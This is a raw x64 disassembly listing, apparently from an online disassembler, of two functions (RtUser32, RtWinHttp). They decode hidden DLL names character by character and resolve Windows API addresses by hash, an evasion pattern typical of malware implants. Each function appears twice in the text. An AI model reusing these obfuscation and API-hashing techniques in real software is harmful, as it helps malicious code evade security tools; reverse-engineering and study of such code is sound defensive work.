14001bf55mov rbx, [rip+0x10414]
14001bf5cmov ecx, 12
14001bf61test rax, rax
14001bf64mov [rbx+2206], rax
14001bf6bmov al, 0
14001bf6dje 0x14001c054
14001bf73rep stosb [rdi], al
14001bf75mov rcx, [rbx+2206]
14001bf7cmov edx, 0xffffffffd8f30a28
14001bf81call LdrFunctionAddr
14001bf86mov rcx, [rbx+2206]
14001bf8dmov edx, 0xffffffff876cc00b
14001bf92mov [rbx+1980], rax
14001bf99call LdrFunctionAddr
14001bf9emov rcx, [rbx+2206]
14001bfa5mov edx, 0xffffffff8aba5ef1
14001bfaamov [rbx+1988], rax
14001bfb1call LdrFunctionAddr
14001bfb6mov rcx, [rbx+2206]
14001bfbdmov edx, 0x1da98b7d
14001bfc2mov [rbx+1996], rax
14001bfc9call LdrFunctionAddr
14001bfcemov rcx, [rbx+2206]
14001bfd5mov edx, 0xffffffff916b1321
14001bfdamov [rbx+2004], rax
14001bfe1call LdrFunctionAddr
14001bfe6mov rcx, [rbx+2206]
14001bfedmov edx, 0x6d1a042d
14001bff2mov [rbx+2012], rax
14001bff9call LdrFunctionAddr
14001bffemov rcx, [rbx+2206]
14001c005mov edx, 0x1c698f42
14001c00amov [rbx+1956], rax
14001c011call LdrFunctionAddr
14001c016mov rcx, [rbx+2206]
14001c01dmov edx, 0xffffffffbca01141
14001c022mov [rbx+1964], rax
14001c029call LdrFunctionAddr
14001c02elea r9, [rip+51789]
14001c035mov rdx, rbp
14001c038mov rcx, rsi
14001c03bmov r8l, 419
14001c041mov [rbx+1972], rax
14001c048call printf.constprop.0
14001c04dmov eax, 1
14001c052jmp 0x14001c070
14001c054
14001c054loc_14001c054:
14001c054rep stosb [rdi], al
14001c056lea r9, [rip+51774]
14001c05dmov r8l, 422
14001c063mov rdx, rbp
14001c066mov rcx, rsi
14001c069call printf.constprop.0
14001c06exor eax, eax
14001c070
14001c070loc_14001c070:
14001c070add rsp, 56
14001c074pop rbx
14001c075pop rsi
14001c076pop rdi
14001c077pop rbp
14001c078ret
14001be80
14001c079
14001c079 // align 0x10
14001c079 // align 0x10
14001c080
14001c080RtUser32:
14001c080push rbp
14001c081xor edx, edx
14001c083xor eax, eax
14001c085mov ecx, 83
14001c08apush rdi
14001c08blea rbp, [rip+0x113fe]
14001c092push rsi
14001c093lea rsi, [rip+51190]
14001c09apush rbx
14001c09bsub rsp, 56
14001c09fmov [rsp+37], rax
14001c0a4lea rdi, [rsp+37]
14001c0a9mov [rsp+44], edx
14001c0adcall HideChar
14001c0b2mov ecx, 85
14001c0b7mov [rsp+38], al
14001c0bbcall HideChar
14001c0c0xor ecx, ecx
14001c0c2mov [rsp+37], al
14001c0c6call HideChar
14001c0cbmov ecx, 46
14001c0d0mov [rsp+47], al
14001c0d4call HideChar
14001c0d9mov ecx, 76
14001c0demov [rsp+43], al
14001c0e2call HideChar
14001c0e7mov ecx, 68
14001c0ecmov [rsp+45], al
14001c0f0call HideChar
14001c0f5mov ecx, 50
14001c0famov [rsp+44], al
14001c0fecall HideChar
14001c103mov ecx, 82
14001c108mov [rsp+42], al
14001c10ccall HideChar
14001c111mov ecx, 76
14001c116mov [rsp+40], al
14001c11acall HideChar
14001c11fmov ecx, 69
14001c124mov [rsp+46], al
14001c128call HideChar
14001c12dmov ecx, 51
14001c132mov [rsp+39], al
14001c136call HideChar
14001c13bmov rcx, rdi
14001c13emov [rsp+41], al
14001c142call LdrModuleLoad
14001c147mov rbx, [rip+0x10222]
14001c14emov ecx, 11
14001c153test rax, rax
14001c156mov [rbx+2150], rax
14001c15dmov al, 0
14001c15fje 0x14001c1e6
14001c165rep stosb [rdi], al
14001c167mov rcx, [rbx+2150]
14001c16emov edx, 0x29bbc91e
14001c173call LdrFunctionAddr
14001c178mov rcx, [rbx+2150]
14001c17fmov edx, 0x287c6401
14001c184mov [rbx+1660], rax
14001c18bcall LdrFunctionAddr
14001c190mov rcx, [rbx+2150]
14001c197mov edx, 0xd2b106c
14001c19cmov [rbx+1700], rax
14001c1a3call LdrFunctionAddr
14001c1a8mov rcx, [rbx+2150]
14001c1afmov edx, 0x6fbc050d
14001c1b4mov [rbx+1708], rax
14001c1bbcall LdrFunctionAddr
14001c1c0lea r9, [rip+51057]
14001c1c7mov rdx, rbp
14001c1camov rcx, rsi
14001c1cdmov r8l, 162
14001c1d3mov [rbx+1780], rax
14001c1dacall printf.constprop.0
14001c1dfmov eax, 1
14001c1e4jmp 0x14001c202
14001c1e6
14001c1e6loc_14001c1e6:
14001c1e6rep stosb [rdi], al
14001c1e8lea r9, [rip+51041]
14001c1efmov r8l, 165
14001c1f5mov rdx, rbp
14001c1f8mov rcx, rsi
14001c1fbcall printf.constprop.0
14001c200xor eax, eax
14001c202
14001c202loc_14001c202:
14001c202add rsp, 56
14001c206pop rbx
14001c207pop rsi
14001c208pop rdi
14001c209pop rbp
14001c20aret
14001c080
14001c080RtUser32:
14001c080push rbp
14001c081xor edx, edx
14001c083xor eax, eax
14001c085mov ecx, 83
14001c08apush rdi
14001c08blea rbp, [rip+0x113fe]
14001c092push rsi
14001c093lea rsi, [rip+51190]
14001c09apush rbx
14001c09bsub rsp, 56
14001c09fmov [rsp+37], rax
14001c0a4lea rdi, [rsp+37]
14001c0a9mov [rsp+44], edx
14001c0adcall HideChar
14001c0b2mov ecx, 85
14001c0b7mov [rsp+38], al
14001c0bbcall HideChar
14001c0c0xor ecx, ecx
14001c0c2mov [rsp+37], al
14001c0c6call HideChar
14001c0cbmov ecx, 46
14001c0d0mov [rsp+47], al
14001c0d4call HideChar
14001c0d9mov ecx, 76
14001c0demov [rsp+43], al
14001c0e2call HideChar
14001c0e7mov ecx, 68
14001c0ecmov [rsp+45], al
14001c0f0call HideChar
14001c0f5mov ecx, 50
14001c0famov [rsp+44], al
14001c0fecall HideChar
14001c103mov ecx, 82
14001c108mov [rsp+42], al
14001c10ccall HideChar
14001c111mov ecx, 76
14001c116mov [rsp+40], al
14001c11acall HideChar
14001c11fmov ecx, 69
14001c124mov [rsp+46], al
14001c128call HideChar
14001c12dmov ecx, 51
14001c132mov [rsp+39], al
14001c136call HideChar
14001c13bmov rcx, rdi
14001c13emov [rsp+41], al
14001c142call LdrModuleLoad
14001c147mov rbx, [rip+0x10222]
14001c14emov ecx, 11
14001c153test rax, rax
14001c156mov [rbx+2150], rax
14001c15dmov al, 0
14001c15fje 0x14001c1e6
14001c165rep stosb [rdi], al
14001c167mov rcx, [rbx+2150]
14001c16emov edx, 0x29bbc91e
14001c173call LdrFunctionAddr
14001c178mov rcx, [rbx+2150]
14001c17fmov edx, 0x287c6401
14001c184mov [rbx+1660], rax
14001c18bcall LdrFunctionAddr
14001c190mov rcx, [rbx+2150]
14001c197mov edx, 0xd2b106c
14001c19cmov [rbx+1700], rax
14001c1a3call LdrFunctionAddr
14001c1a8mov rcx, [rbx+2150]
14001c1afmov edx, 0x6fbc050d
14001c1b4mov [rbx+1708], rax
14001c1bbcall LdrFunctionAddr
14001c1c0lea r9, [rip+51057]
14001c1c7mov rdx, rbp
14001c1camov rcx, rsi
14001c1cdmov r8l, 162
14001c1d3mov [rbx+1780], rax
14001c1dacall printf.constprop.0
14001c1dfmov eax, 1
14001c1e4jmp 0x14001c202
14001c1e6
14001c1e6loc_14001c1e6:
14001c1e6rep stosb [rdi], al
14001c1e8lea r9, [rip+51041]
14001c1efmov r8l, 165
14001c1f5mov rdx, rbp
14001c1f8mov rcx, rsi
14001c1fbcall printf.constprop.0
14001c200xor eax, eax
14001c202
14001c202loc_14001c202:
14001c202add rsp, 56
14001c206pop rbx
14001c207pop rsi
14001c208pop rdi
14001c209pop rbp
14001c20aret
14001c080
14001c20b
14001c20b // align 0x10
14001c20b // align 0x10
14001c210
14001c210RtWinHttp:
14001c210push rbp
14001c211xor edx, edx
14001c213xor eax, eax
14001c215mov ecx, 87
14001c21apush rdi
14001c21blea rbp, [rip+0x1043e]
14001c222push rsi
14001c223lea rsi, [rip+50790]
14001c22apush rbx
14001c22bsub rsp, 56
14001c22fmov [rsp+44], edx
14001c233lea rdi, [rsp+36]
14001c238mov [rsp+36], rax
14001c23dcall HideChar
14001c242mov ecx, 78
14001c247mov [rsp+36], al
14001c24bcall HideChar
14001c250mov ecx, 46
14001c255mov [rsp+38], al
14001c259call HideChar
14001c25exor ecx, ecx
14001c260mov [rsp+43], al
14001c264call HideChar
14001c269mov ecx, 76
14001c26emov [rsp+47], al
14001c272call HideChar
14001c277mov ecx, 84
14001c27cmov [rsp+46], al
14001c280call HideChar
14001c285mov ecx, 68
14001c28amov [rsp+40], al
14001c28ecall HideChar
14001c293mov ecx, 73
14001c298mov [rsp+44], al
14001c29ccall HideChar
14001c2a1mov ecx, 76
14001c2a6mov [rsp+37], al
14001c2aacall HideChar
14001c2afmov ecx, 80
14001c2b4mov [rsp+45], al
14001c2b8call HideChar
14001c2bdmov ecx, 72
14001c2c2mov [rsp+42], al
14001c2c6call HideChar
14001c2cbmov ecx, 84
14001c2d0mov [rsp+39], al
14001c2d4call HideChar
14001c2d9mov rcx, rdi
14001c2dcmov [rsp+41], al
14001c2e0call LdrModuleLoad
14001c2e5mov rbx, [rip+0x10084]
14001c2ecmov ecx, 12
14001c2f1test rax, rax
14001c2f4mov [rbx+2222], rax
14001c2fbmov al, 0
14001c2fdje 0x14001c444
14001c303rep stosb [rdi], al
14001c305mov rcx, [rbx+2222]
14001c30cmov edx, 0x613eace5
14001c311call LdrFunctionAddr
14001c316mov rcx, [rbx+2222]
14001c31dmov edx, 0xffffffff81e0c81d
14001c322mov [rbx+1180], rax
14001c329call LdrFunctionAddr
14001c32emov rcx, [rbx+2222]
14001c335mov edx, 0xffffffffb06d900e
14001c33amov [rbx+1188], rax
14001c341call LdrFunctionAddr
14001c346mov rcx, [rbx+2222]
14001c34dmov edx, 0x5b6ad378
14001c352mov [rbx+1196], rax
14001c359call LdrFunctionAddr
14001c35emov rcx, [rbx+2222]
14001c365mov edx, 0xffffffffa7355f15
14001c36amov [rbx+1204], rax
14001c371call LdrFunctionAddr
14001c376mov rcx, [rbx+2222]
14001c37dmov edx, 0x7739d0e6
14001c382mov [rbx+1212], rax
14001c389call LdrFunctionAddr
14001c38emov rcx, [rbx+2222]
14001c395mov edx, 0xffffffffa2c0b0e1
14001c39amov [rbx+1220], rax
14001c3a1call LdrFunctionAddr
14001c3a6mov rcx, [rbx+2222]
14001c3admov edx, 0xffffffffae351ae5
14001c3b2mov [rbx+1228], rax
14001c3b9call LdrFunctionAddr
14001c3bemov rcx, [rbx+2222]
14001c3c5mov edx, 0x75064b89
14001c3camov [rbx+1236], rax
14001c3d1call LdrFunctionAddr
14001c3d6mov rcx, [rbx+2222]
14001c3ddmov edx, 0xffffffffcc1a89c5
14001c3e2mov [rbx+1244], rax
14001c3e9call LdrFunctionAddr
14001c3eemov rcx, [rbx+2222]
14001c3f5mov edx, 0x28197a2
14001c3famov [rbx+1252], rax
14001c401call LdrFunctionAddr
14001c406mov rcx, [rbx+2222]
14001c40dmov edx, 0xffffffffa2cf3c6f
14001c412mov [rbx+1260], rax
14001c419call LdrFunctionAddr
14001c41elea r9, [rip+50871]
14001c425mov rdx, rbp
14001c428mov rcx, rsi
14001c42bmov r8l, 492
14001c431mov [rbx+1268], rax
14001c438call printf.constprop.0
14001c43dmov eax, 1
14001c442jmp 0x14001c460
14001c444
14001c444loc_14001c444:
14001c444rep stosb [rdi], al
14001c446lea r9, [rip+50856]
14001c44dmov r8l, 495
14001c453mov rdx, rbp
14001c456mov rcx, rsi
14001c459call printf.constprop.0
14001c45exor eax, eax
14001c460
14001c460loc_14001c460:
14001c460add rsp, 56
14001c464pop rbx
14001c465pop rsi
14001c466pop rdi
14001c467pop rbp
14001c468ret
14001c210
14001c210RtWinHttp:
14001c210push rbp
14001c211xor edx, edx
14001c213xor eax, eax
14001c215mov ecx, 87
14001c21apush rdi
14001c21blea rbp, [rip+0x1043e]
14001c222push rsi
14001c223lea rsi, [rip+50790]
14001c22apush rbx
14001c22bsub rsp, 56
14001c22fmov [rsp+44], edx
14001c233lea rdi, [rsp+36]
14001c238mov [rsp+36], rax
14001c23dcall HideChar
14001c242mov ecx, 78
14001c247mov [rsp+36], al
14001c24bcall HideChar
14001c250mov ecx, 46
14001c255mov [rsp+38], al
14001c259call HideChar
14001c25exor ecx, ecx
14001c260mov [rsp+43], al
14001c264call HideChar
14001c269mov ecx, 76
14001c26emov [rsp+47], al
14001c272call HideChar
14001c277mov ecx, 84
14001c27cmov [rsp+46], al
14001c280call HideChar
14001c285mov ecx, 68
14001c28amov [rsp+40], al
14001c28ecall HideChar
14001c293mov ecx, 73
14001c298mov [rsp+44], al
14001c29ccall HideChar
14001c2a1mov ecx, 76
14001c2a6mov [rsp+37], al
14001c2aacall HideChar
14001c2afmov ecx, 80
14001c2b4mov [rsp+45], al
14001c2b8call HideChar
14001c2bdmov ecx, 72
14001c2c2mov [rsp+42], al
14001c2c6call HideChar
14001c2cbmov ecx, 84
14001c2d0mov [rsp+39], al
14001c2d4call HideChar
14001c2d9mov rcx, rdi
14001c2dcmov [rsp+41], al
14001c2e0call LdrModuleLoad
14001c2e5mov rbx, [rip+0x10084]
14001c2ecmov ecx, 12
14001c2f1test rax, rax
14001c2f4mov [rbx+2222], rax
14001c2fbmov al, 0
14001c2fdje 0x14001c444
14001c303rep stosb [rdi], al
14001c305mov rcx, [rbx+2222]
14001c30cmov edx, 0x613eace5
14001c311call LdrFunctionAddr
14001c316mov rcx, [rbx+2222]
14001c31dmov edx, 0xffffffff81e0c81d
14001c322mov [rbx+1180], rax
14001c329call LdrFunctionAddr
14001c32emov rcx, [rbx+2222]
14001c335mov edx, 0xffffffffb06d900e
14001c33amov [rbx+1188], rax
14001c341call LdrFunctionAddr
14001c346mov rcx, [rbx+2222]
14001c34dmov edx, 0x5b6ad378
14001c352mov [rbx+1196], rax
14001c359call LdrFunctionAddr
14001c35emov rcx, [rbx+2222]
14001c365mov edx, 0xffffffffa7355f15
14001c36amov [rbx+1204], rax
14001c371call LdrFunctionAddr
14001c376mov rcx, [rbx+2222]
14001c37dmov edx, 0x7739d0e6
14001c382mov [rbx+1212], rax
14001c389call LdrFunctionAddr
14001c38emov rcx, [rbx+2222]
14001c395mov edx, 0xffffffffa2c0b0e1
14001c39amov [rbx+1220], rax
14001c3a1call LdrFunctionAddr
14001c3a6mov rcx, [rbx+2222]
14001c3admov edx, 0xffffffffae351ae5
14001c3b2mov [rbx+1228], rax
14001c3b9call LdrFunctionAddr
14001c3bemov rcx, [rbx+2222]
14001c3c5mov edx, 0x75064b89
14001c3camov [rbx+1236], rax
14001c3d1call LdrFunctionAddr
14001c3d6mov rcx, [rbx+2222]
14001c3ddmov edx, 0xffffffffcc1a89c5
14001c3e2mov [rbx+1244], rax
14001c3e9call LdrFunctionAddr
14001c3eemov rcx, [rbx+2222]
14001c3f5mov edx, 0x28197a2
14001c3famov [rbx+1252], rax
14001c401call LdrFunctionAddr
14001c406mov rcx, [rbx+2222]
14001c40dmov edx, 0xffffffffa2cf3c6f
14001c412mov [rbx+1260], rax
14001c419call LdrFunctionAddr
14001c41elea r9, [rip+50871]
14001c425mov rdx, rbp
14001c428mov rcx, rsi
14001c42bmov r8l, 492
14001c431mov [rbx+1268], rax
14001c438call printf.constprop.0
14001c43dmov eax, 1
14001c442jmp 0x14001c460
14001c444
14001c444loc_14001c444:
14001c444rep stosb [rdi], al
14001c446lea r9, [rip+50856]
14001c44dmov r8l, 495
14001c453mov rdx, rbp
14001c456mov rcx, rsi
14001c459call printf.constprop.0
14001c45exor eax, eax
14001c460
14001c460loc_14001c460:
14001c460add rsp, 56
14001c464pop rbx
14001c465pop rsi
14001c466pop rdi
14001c467pop rbp
14001c468ret
14001c210
Loading..